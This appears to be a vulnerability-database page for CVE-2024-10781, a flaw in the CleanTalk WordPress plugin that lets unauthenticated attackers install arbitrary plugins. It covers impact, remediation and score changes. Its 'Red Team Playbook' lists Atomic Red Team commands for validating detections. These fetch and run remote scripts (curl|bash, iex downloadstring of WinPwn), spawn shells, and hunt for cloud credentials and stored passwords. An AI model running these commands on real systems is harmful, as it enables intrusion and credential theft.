CVE-2024-10781
Overview
This vulnerability is an unauthorized arbitrary plugin installation flaw caused by insufficient validation of the 'api_key' parameter in the 'perform' function of the CleanTalk Spam protection, Anti-Spam, FireWall WordPress plugin. The root cause is the absence of an empty value check on the 'api_key' input, allowing unauthenticated requests to bypass intended access controls. The affected component is the remote call handler within the plugin's codebase, specifically in versions up to and including 6.44.
Vulnerability Description
The Spam protection, Anti-Spam, FireWall by CleanTalk plugin for WordPress is vulnerable to unauthorized Arbitrary Plugin Installation due to an missing empty value check on the 'api_key' value in the 'perform' function in all versions up to, and including, 6.44. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated.
Impact
An unauthenticated attacker can exploit this vulnerability to install and activate arbitrary WordPress plugins remotely, without any user interaction or privileges. This capability can be leveraged to execute remote code if another vulnerable plugin is present and activated, potentially leading to full site compromise. The attack requires network access to the WordPress installation and no authentication, as indicated by the CVSS vector (AV:N/AC:H/PR:N/UI:N), enabling high-severity impact on confidentiality, integrity, and availability.
Solution
Upgrade the CleanTalk Spam protection, Anti-Spam, FireWall plugin to a version later than 6.44 where this issue is addressed. Refer to the vendor's advisory and patch details available at https://www.wordfence.com/threat-intel/vulnerabilities/id/79ae062c-b084-4045-9407-2d94919993af for precise remediation steps. Applying the updated plugin version corrects the missing 'api_key' validation, mitigating unauthorized plugin installation risks.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Spam protection, Anti-Spam, FireWall plugin for WordPress arises from a lack of proper validation on the 'api_key' parameter within the 'perform' function. This oversight allows unauthorized users to bypass authentication mechanisms, enabling them to install and activate arbitrary plugins on a WordPress site. The absence of an empty value check means that if an attacker sends a crafted request with an invalid or empty 'api_key', the system does not adequately reject the request. This flaw can lead to severe security implications, especially when the installed plugins have their own vulnerabilities that can be exploited for remote code execution.
Attack vectors for this vulnerability are varied and can be executed with relative ease by individuals with malicious intent. An attacker could leverage this flaw by sending a specially crafted HTTP request to the affected WordPress site, effectively triggering the installation of a rogue plugin. Once installed, if this plugin has known vulnerabilities or backdoors, the attacker can gain unauthorized access to the site, potentially leading to data breaches, website defacement, or the deployment of further malicious payloads. Additionally, the exploitation can be compounded if the site hosts sensitive information or is part of a larger network, allowing for lateral movement within an organization’s infrastructure.
The real-world impact of this vulnerability can be profound, particularly for businesses relying on WordPress for their web presence. The ability for an attacker to install arbitrary plugins can lead to significant business risks, including loss of customer trust, financial losses due to downtime, and potential legal ramifications stemming from data breaches. For e-commerce sites, the implications could extend to compromised payment information, resulting in direct financial theft and reputational damage. Furthermore, the risk of remote code execution means that attackers can potentially take full control of the server, leading to more extensive network compromises.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is crucial to keep the affected plugin updated to the latest version, as security patches are typically released to address such vulnerabilities. Regular security audits and vulnerability scanning can help identify any unauthorized changes to the plugin environment. Additionally, employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Organizations should also consider implementing strict access controls and monitoring user activity to detect any unusual behavior that may indicate exploitation attempts.
In conclusion, the vulnerability within the Spam protection, Anti-Spam, FireWall plugin for WordPress highlights the critical importance of secure coding practices and thorough validation checks. The potential for unauthorized plugin installation poses significant risks to the integrity and security of WordPress sites. By understanding the technical details, potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities, ensuring the security of their digital assets and the trust of their users.
The CVSS score for CVE-2024-10781 has been revised upward from 7.5 to 8.1, reflecting a reassessment of the vulnerability’s potential impact and exploitability. This adjustment underscores a heightened risk that unauthenticated attackers could leverage the missing validation in the CleanTalk plugin to install arbitrary plugins, increasing the likelihood of remote code execution in environments where additional vulnerable plugins are present. Concurrently, the EPSS score has decreased, indicating a slight reduction in observed exploitation attempts or likelihood of exploitation in the wild, as confirmed by CSURFACE threat intelligence and our telemetry. This divergence suggests that while the technical severity and potential impact have been reassessed as more critical, active exploitation has not surged correspondingly. For defenders, this means the vulnerability remains a significant threat due to its ease of exploitation and potential for severe consequences, even though current exploitation activity is not escalating. The updated risk profile calls for sustained vigilance, especially in environments running multiple plugins where chained exploitation could occur, but does not indicate an immediate increase in active attacks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cleantalk | Spam Protection\, Antispam\, Firewall | All |
cpe:2.3:a:cleantalk:spam_protection\,_antispam\,_firewall:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10781 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/79ae062c-b084-4045-9407-2d94919993af?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/cleantalk-spam-protect/tags/6.44/lib/Cleantalk/ApbctWP/RemoteCalls.php#L95 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/cleantalk-spam-protect/tags/6.44/lib/Cleantalk/ApbctWP/RemoteCalls.php#L96 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3188546/cleantalk-spam-protect#file653 |